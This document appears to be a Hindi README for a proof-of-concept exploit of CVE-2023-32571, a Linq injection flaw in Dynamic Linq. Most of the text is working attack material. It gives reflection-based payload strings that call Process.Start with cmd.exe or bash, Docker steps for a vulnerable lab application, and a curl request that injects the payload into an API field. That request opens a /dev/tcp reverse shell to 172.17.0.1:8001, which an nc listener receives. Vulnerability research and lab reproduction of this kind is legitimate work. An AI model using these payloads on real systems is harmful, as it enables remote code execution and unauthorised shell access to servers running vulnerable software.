
हाल ही में, NCC Group के सदस्यों ने Dynamic Linq में एक भेद्यता खोजी है जो हमलावरों को Linq इंजेक्शन के माध्यम से C# फ़ंक्शन कॉल करने की अनुमति देती है, जिससे RCE प्राप्त करना संभव हो जाता है।
Dynamic Linq पर RCE रिपोर्ट के बावजूद, NCC Group के सदस्यों ने किसी कारणवश कमांड निष्पादित करने के लिए POC उपलब्ध नहीं कराया।
जैसा कि NCC Group के शोध में कहा गया है, हम "Invoke" के माध्यम से C# विधियों को कॉल कर सकते हैं। इससे, हम "System.Diagnostics.Process.Start" को कॉल कर सर्वर पर कमांड निष्पादित कर सकते हैं।
हम असेंबली के माध्यम से System.Diagnostics.Process को कॉल करने के लिए "CreateInstanceFromAndUnwrap" विधि का उपयोग कर सकते हैं।
System.AppDomain.CreateInstanceAndUnwrap विधि का उपयोग करने के लिए Payload:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
CreateInstanceAndUnwrap विधि के माध्यम से System.Diagnostics.Process को कॉल करने के लिए Payload:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
System.Diagnostics.Process क्लास की विधियों तक पहुँच करके, हम सिस्टम पर कमांड निष्पादित करने के लिए System.Diagnostics.Process.Start विधि का उपयोग कर सकते हैं:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
Obs: ध्यान दें कि payload पहले 3 Start विधियों की खोज करता है और आखिरी को ले लेता है। मैंने ऐसा इसलिए किया क्योंकि System.Diagnostics.Process में विधियों की सूची में कई Start विधियाँ थीं, और जिसकी हमें आवश्यकता है वह सूची में तीसरी है।
Windows लक्ष्य
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
docker और docker-compose स्थापित करें:
Debian
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
इस रिपॉज़िटरी को क्लोन करें:
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
एप्लिकेशन http://localhost:8000/ पर शुरू होती है।
POST विधि के माध्यम से "/api/products" रूट तक पहुँचने पर, हम देखते हैं कि यह उत्पादों की एक सूची लौटाता है:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

json में name पैरामीटर भेजकर, हम उत्पादों को फ़िल्टर कर सकते हैं:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

कुछ परीक्षणों के बाद, हम देखते हैं कि हम इसे Dynamic Linq क्वेरी में इंजेक्ट करने में सक्षम थे। निम्नलिखित payload भेजकर, हम एक रिवर्स शेल प्राप्त करने में सक्षम थे:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
